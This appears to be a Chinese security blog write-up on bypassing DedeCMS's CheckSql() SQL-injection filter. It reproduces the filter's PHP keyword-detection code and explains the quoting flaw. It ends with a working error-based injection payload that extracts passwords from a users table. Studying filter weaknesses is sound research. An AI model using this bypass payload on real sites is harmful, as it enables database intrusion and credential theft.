dedeCMS的CheckSql()函数,80sec开发的通用防注入ids程序..是个比较老的东西了..但是最近挖洞的时候碰到了..绕了一下,直接关键词丢google就找到了一篇文章,还搞到了函数的源码,大概地看了一下,这里就记录一下吧
先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 function  CheckSql ($sql , $querytype ='select'  )  {    $clean  = '' ;     $error  = '' ;     $pos  = -1 ;     $old_pos  = 0 ;     if ($querytype  == 'select' )      {         if (preg_match ('/[^0-9a-z@\._-]{1,}(unionsleepbenchmarkload_fileoutfile)[^0-9a-z@\.-]{1,}/' , $sql ))          {             print ("$sqlSelectBreak " );         }     }     while (true )      {         $pos  = strpos ($sql , '\'' , $pos  + 1 );         if ($pos  === false )          {             break ;         }         $clean  .= substr ($sql , $old_pos , $pos  - $old_pos );         while (true )          {             $pos1  = strpos ($sql , '\'' , $pos  + 1 );             $pos2  = strpos ($sql , '\\' , $pos  + 1 );             if ($pos1  === false )              {                 break ;             }             else  if ($pos2  == false   $pos2  > $pos1 )              {                 $pos  = $pos1 ;                 break ;             }             $pos  = $pos2  + 1 ;         }         $clean  .= '$s$' ;         $old_pos  = $pos  + 1 ;     }     $clean  .= substr ($sql , $old_pos );     $clean  = trim (strtolower (preg_replace (array ('~\s+~s'  ), array (' ' ), $clean )));     if (strpos ($clean , 'union' ) !== false  && preg_match ('~(^[^a-z])union($[^[a-z])~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'union detect' ;     }     else  if (strpos ($clean , '/*' ) > 2   strpos ($clean , '--' ) !== false   strpos ($clean , '#' ) !== false )      {         $fail  = true ;         $error  = 'comment detect' ;     }     else  if (strpos ($clean , 'sleep' ) !== false  && preg_match ('~(^[^a-z])sleep($[^[a-z])~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'slown down detect' ;     }     else  if (strpos ($clean , 'benchmark' ) !== false  && preg_match ('~(^[^a-z])benchmark($[^[a-z])~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'slown down detect' ;     }     else  if (strpos ($clean , 'load_file' ) !== false  && preg_match ('~(^[^a-z])load_file($[^[a-z])~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'file fun detect' ;     }     else  if (strpos ($clean , 'into outfile' ) !== false  && preg_match ('~(^[^a-z])into\s+outfile($[^[a-z])~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'file fun detect' ;     }     else  if (preg_match ('~\([^)]*?select~s' , $clean ) != 0 )      {         $fail  = true ;         $error  = 'sub select detect' ;     }     if (!empty ($fail ))      {         print ("$sql ,$error " );     }     else       {         return  $sql ;     } }  
 
首先我们看一下payload,本地测试一下,用的sql语句为
1 SELECT  *  FROM  `dy_zgz` WHERE  id= 78  and  (sElecT (now()))
 
然后把\(clean给echo出来,得到结果:

可以看到第二个语句的子查询被detect了,那么怎么bypass呢?
发现前面的while把函数中在单引号间的东西换成\) s$然后再把sql语句拿去检测,那么我们测试用单引号包含我们的sql语句
1 SELECT  *  FROM  `dy_zgz` WHERE  id= 78  and  '(sElecT(now()))' 
 
得到结果  
这次就没有被detect到,即使查询是相同的,因为丢进去查询的是$clean,也即第一个sql语句,里面并没有select相关句,所以成功bypass
那么如何利用呢,这里用到in和反引号来绕过,mysql中@可以定义一个变量,反引号来转义单引号,那么我们就可以构造出下面的句子
1 SELECT  username FROM  users WHERE  is_admin= 1  AND  is_admin in  (char (@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from users limit 1))),char(@`' `))
 
我们先看char(@'),默认定义变量是为空的,所以提取结果如下
 
那么这样报错注入的地方就会执行,于是就会返回报错信息,比如  
明白了原理,绕过也就不难了. 给出两篇参考链接 http://goodwaf.com/2016/11/30/DedeCMS-CheckSql%E5%87%BD%E6%95%B0%E7%BB%95%E8%BF%87/ 
http://blogs.360.cn/360webscan/2013/08/12/oracle10g-unwrap%E6%8A%80%E6%9C%AF%E5%88%86%E6%9E%90-by-genxor/ 
还是多学习多见识吧...近期多打打实际环境,后续碰到的东西也会慢慢发出来.